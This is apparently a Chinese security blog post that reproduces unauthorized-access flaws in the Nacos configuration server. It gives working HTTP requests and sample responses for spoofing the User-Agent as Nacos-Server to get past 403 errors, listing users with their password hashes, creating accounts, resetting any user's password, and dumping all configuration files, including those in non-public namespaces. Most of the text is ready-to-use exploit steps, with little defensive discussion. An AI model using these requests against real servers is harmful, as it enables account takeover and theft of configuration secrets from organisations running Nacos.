目 录CONTENT

文章目录

Nacos未授权复现

Administrator
2024-01-17 / 0 评论 / 0 点赞 / 82 阅读 / 0 字

Nacos未授权复现

Nacos入口

ip:端口/nacos

www.test.com:8848/nacos

未授权查看用户列表

http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

直接get方式访问该路径会403,
将user-agent头修改为Nacos-Server即可绕过403。

有些可以直接访问,有些需要改UA头

此时看到响应包中包含了系统存在的用户名nacos,密码为加盐之后的值。

未授权创建或修改用户

GET方法

http://192.168.1.1:8848/nacos/v1/auth/users?username=test111&password=test111

{"code":200,"message":null,"data":"create user ok!"}

============================================================

POST方法

访问  http://ip:8848/nacos/v1/auth/users

POST传参:username=abcabc&password=abcabc

如果出现403,别忘了修改User-Agent头为Nacos-Server

发送POST请求

{"code": 200,"message": null,"data": "create user ok!"}

返回响应200,创建用户成功

回显caused: Parameter conditions

caused: Parameter conditions "search=blur" OR "search=accurate" not met for actual request parameters: pageNo={1}, pageSize={9};%

缺少search=blur或者search=accurate

那就试一下下面这个两个

http://192.168.1.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur

-H 'User-Agent: Nacos-Server'

http://192.168.1.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate

-H 'User-Agent: Nacos-Server'

任意用户密码更改

http://192.168.1.1:8848/nacos/v1/auth/users?accessToken=

-H 'User-Agent:Nacos-Server' 

username=test111&newPassword=test222

未开启auth

由于默认是不开auth的,所以我们先来讨论未开启auth的情况。

读取用户账号密码

http://192.168.1.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

 未授权添加用户

http://192.168.1.1:8848/nacos/v1/auth/users?username=test1&password=test1

{"code":200,"message":null,"data":"create user ok!"}

任意用户密码更改

http://192.168.1.1:8848/nacos/v1/auth/users?accessToken=

-H 'User-Agent:Nacos-Server'

-d 'username=test1&newPassword=test2'

获取配置数据

需要知道dataId与group的值,才能读取到对应的配置文件,如果留空或者不填,则会无法读取。

http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.example&group=com.alibaba.nacos

够获取全部的配置文件

http://192.168.1.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99

http://192.168.1.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99

但这里有个问题,这只能获取默认命名空间public里面的数据,但是现在有大聪明已经学会了不把数据放到默认的public,而是自己重新建一个namespace,再把企业的相关配置放在里面,这里留个伏笔,我们接着往下看。

获取其他Namespace的配置数据

http://192.168.1.1:8848/nacos/v1/console/namespaces

直接访问发现可以直接读到非public的Namespace,就是上面我们创建名叫REDTEAM的test_namespace命名空间

这时已经拿到了namespace、namespaceShowNmae,我们就可以根据之前的API光明正大的进行读取操作了,这里有个小技巧,之前读取配置里面的tenant参数获取的就是namespce,我们直接把tenant=test_namespace加进去构造请求,轻松读取到非public空间的数据

http://192.168.1.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test_namespace

查看现在存在几个用户

访问http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

http://ip:8848:指明了要请求的目标IP地址和端口号;

/nacos/v1/auth/users:指明了要访问的Nacos API接口路径;

pageNo=1&pageSize=9:指定了分页查询条件。

pageNo:表示需要返回的页码,从 1 开始计数。例如,如果想要返回第 2 页的数据,则将 pageNo 设置为 2。

pageSize:表示每一页的数据条数。例如,如果想要每页返回 20 条数据,则将 pageSize 设置为 20。

OK,

刚刚创建的abcabc用户已经存在了。

更多方法
https://blog.csdn.net/m0_73353130/article/details/131786333

https://blog.csdn.net/moresec/article/details/135553850

0

评论区